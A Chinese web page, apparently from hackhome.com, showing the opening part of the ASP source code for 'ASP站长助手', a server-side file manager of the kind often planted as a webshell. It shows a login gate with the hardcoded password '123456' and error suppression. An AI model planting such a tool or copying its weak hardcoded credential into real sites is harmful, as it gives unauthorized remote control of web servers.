ASP站长助手源代码

•  <%
    Server.ScriptTimeout=50000
    Response.Buffer = True
    On Error Resume Next
    ApplicationName = "站长助手6 增强版"
    UserPass = "123456" '登陆密码
    URL = Request.ServerVariables("URL")
    ServerIP = Request.ServerVariables("LOCAL_ADDR")
    Action = Request("Action")
    RootPath = Server.MapPath(".")
    WWWRoot = Server.MapPath("/")
    FolderPath = Request("FolderPath")
    FName = Request("FName")
    BackUrl = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
    
    If Session("webadmin")<>UserPass Then
     If Request.Form("Pass")<>"" Then
     If Request.Form("Pass")=UserPass Then
     Session("webadmin")=UserPass
     Response.Redirect URL
     Else
     response.write"验证失败！"
     End If
     Else
     SI="<center style='font-size:12px'><br><br>欢迎使用ASP站长助手<br><br>"
     SI=SI&"<form action='"&URL&"' method='post'>"
     SI=SI&"密码：<input name='Pass' type='passWord' size='15'>"
     SI=SI&" <input type='submit' value='登录'></form></center>"
     Response.Write SI
     End If
     Response.End
    End If
    
    sub ShowErr()
     If Err Then
     Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
     Err.Clear:Response.Flush
  
• [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• ASP站长助手源代码 相关文章：
• ·QQ空间时钟代码
• ·QQ空间透明flash代码
• ·对联广告代码效果大全
• ·QQ空间免费换皮肤代码
• ·qq空间皮肤背景代码：QQ空间不用Q币更换主页皮肤方法
• ·QQ空间代码之QQ空间Banner代码
• ·QQ空间漂浮图片代码
• ·用JS快速复制别人QQ空间的代码
• ·〓QQ空间背景皮肤〓火影代码
• ·QQ空间鼠标代码使用说明
• ASP站长助手源代码 相关软件
• ·小颖JAVA源代码反编译超级引挚 V1.4 标准版
• ·ASP代码加密 V1.0
• ·网络恶意代码安全手册
• ·VB代码库 V1.1
• ·任务代码5
• ·7code反间谍综合管理软件(第七代码) V2.0

上一篇:ASP设计动态页中服务器端的处理

下一篇:解决IIS SMTP无法发信的故障

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐